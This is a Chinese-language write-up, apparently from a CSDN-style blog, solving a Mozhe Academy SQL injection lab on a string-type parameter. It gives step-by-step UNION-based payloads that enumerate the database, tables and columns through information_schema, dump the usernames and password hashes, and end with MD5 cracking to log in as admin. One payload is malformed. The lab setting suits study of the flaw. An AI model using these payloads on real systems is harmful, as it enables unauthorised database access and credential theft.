目录
1.工具及靶场环境
2.解题步骤
2.1判断注入点
2.2判断字段数
2.3信息收集
2.4爆破数据库
2.4.1爆破数据库表名
2.4.2爆破指定表的列名
2.4.3查询账号密码
3.md5解码并登录后台
1.工具及靶场环境
工具:Firefox,推荐使用Firefox渗透版或者hackbar插件。
环境:墨者靶场要墨币,其实还有其他可以代替的本地靶场像sqli-lab、pikachu
在线靶场_墨者学院
2.解题步骤
2.1判断注入点
在 ?id=后面加‘判断,结果显示存在注入
124.70.64.48:41471/new_list.php?id=tingjigonggao'
2.2判断字段数
利用'order by 任意数字 %23去判断,得到4(结尾加%23的原因:在一个语句结尾时,需要用#结尾,而#的url编码就是%23)
/new_list.php?id=tingjigonggao'order by 4 %23
2.3信息收集
数据库名:database();
数据库用户:user();
数据库版本:version();
操作系统:@@version_compile_os;
其他如系统路径等:@@datadir;
猜解准备:在?id=tingjigonggao'后面加and 1=2(逻辑错误语句),出现显示位2、3,优先使用union联合注入。
#查询数据库名和版本
/new_list.php?id=tingjigonggao'and 1=2
union select 1,database(),version(),4 %23
#查询操作系统和用户
/new_list.php?id=tingjigonggao'and 1=2
union select 1,@@version_compile_os,user(),4 %23
查询路径和用户
/new_list.php?id=tingjigonggao'and 1=2
union select 1,@@datadir,user(),4 %23
查询结果
数据库名:mozhe_discuz_stormgroup
数据库用户:root@localhost
数据库版本:10.2.15-MariaDB-log
(MariaDB是从MySQL中衍生出来的。这里我们可以看到版本是10.2.15,前面说过MySQL5.0版本以上有个自带的information_shema数据库,利用这个数据库可以查到整个数据库的结构,不然就只能盲猜了。)
操作系统:Linux
其他如系统路径等:/var/lib/mysql/
2.4爆破数据库
2.4.1爆破数据库表名
/new_list.php?id=tingjigonggao'and 1=2
union select 1,group_concat(table_name),3,4
from information_schema.tables
where table_schema='mozhe_discuz_stormgroup' %23
//注释:(1)information_schema.tables表示information_schena这个数据库下的表,在MySQL中【.】代表下一级。
(2)数据库名前面查出来的。
(3)常用参数
information_shcema.tables:记录所有表信息的表
information_shcema.columns:记录所有列名信息的表
table_name:表名
columns_name:列名
table_schema:数据库名
2.4.2爆破指定表的列名
查询stormgroup_member表的列名
将上面语句修改几处即可。
/new_list.php?id=tingjigonggao'and 1=2
union select 1,group_concat(column_name),3,4
from information_schema.columns
where table_name='stormgroup_member' %23
爆破总的列名
/new_list.php?id=tingjigonggao'and 1=2
union select 1,group_concat(column_name),3,4 f
rom information_schema.tables
where columns_schema='mozhe_discuz_stormgroup' %23
2.4.3查询账号密码
/new_list.php?id=tingjigonggao'and 1=2
union select 1,group_concat(name),group_concat(password),4
from stormgroup_member %23
3.md5解码并登录后台
这里是两个账号和密码
任选一个返回登陆界面
成功获得flag。
KEY:mozhe79bfbcec8b5f0adaa232d41f9ad
//注:允许转载,请注明出处。
更多推荐
sql注入(2) 墨者学院之SQL手工注入漏洞测试(MySQL数据库-字符型)
发布评论